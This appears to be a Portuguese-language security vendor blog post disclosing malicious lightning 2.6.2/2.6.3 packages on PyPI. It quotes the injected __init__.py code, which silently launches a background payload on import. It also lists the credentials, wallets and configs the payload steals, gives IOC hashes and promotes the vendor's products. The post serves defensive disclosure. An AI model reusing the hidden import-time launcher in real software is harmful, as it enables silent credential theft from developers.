Aikido

Pacote Popular PyTorch Lightning Comprometido por Mini Shai-Hulud

Escrito por
Ilyas Makari

A campanha de supply chain Mini Shai-Hulud se espalhou para o PyPI. Versões 2.6.2 e 2.6.3 do popular lightning pacote Python, amplamente utilizado para treinar modelos PyTorch, contém código malicioso que exfiltra silenciosamente credenciais de desenvolvedores, Secrets da Cloud e carteiras de criptomoedas.

Isso ocorre após dois ataques recentes na mesma campanha: o comprometimento do Bitwarden CLI npm e o comprometimento do SAP npm. O mesmo atacante, o mesmo worm, agora migrando do npm para o PyPI.

Se você estiver usando lightning==2.6.2 ou lightning==2.6.3, trate sua máquina como comprometida.

Como funciona

O ataque é injetado diretamente em __init__.py, o arquivo que é executado no momento em que você importa o pacote. Uma thread em segundo plano é iniciada antes que qualquer código legítimo do Lightning seja carregado:

def _run_runtime() -> None:
    _runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
    _start = os.path.join(_runtime_dir, "start.py")
    if os.path.exists(_start):
        subprocess.Popen(
            [sys.executable, _start],
            cwd=_runtime_dir,
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )

threading.Thread(target=_run_runtime, daemon=True).start()

Ele executa start.py, um bootstrapper Bun multiplataforma que detecta seu sistema operacional e arquitetura, baixa o runtime Bun JavaScript v1.3.13 e executa router_runtime.js, o payload principal de 11 MB. O mesmo padrão usado nos recentes ataques Bitwarden e SAP.

O que ele rouba

Chaves SSH, históricos de shell (bash, zsh, Python, Node, MySQL, psql), .env arquivos, credenciais git, credenciais AWS/GCP/Azure, configurações Kubernetes e Helm, credenciais Docker, tokens npm e configurações MCP. Carteiras de criptomoedas, incluindo Bitcoin, Litecoin, Monero, Dogecoin, Dash, Exodus, Atomic e Ledger. Credenciais VPN para NordVPN, ProtonVPN, CyberGhost, Windscribe e OpenVPN. Dados de sessão Discord e Slack.

Todos os dados roubados são criptografados com RSA-2048 antes de serem exfiltrados para repositórios públicos do GitHub:

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Endpoint Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Impeça o malware antes que ele seja instalado.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

IOCs

  • Pacote: lightning==2.6.2, lightning==2.6.3
  • router_runtime.js
    • SHA256: 5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1
  • start.py
    • SHA256: 8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2
Compartilhar:

https://www.aikido.dev/blog/pytorch-lightning-pypi-compromise-mini-shai-hulud

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.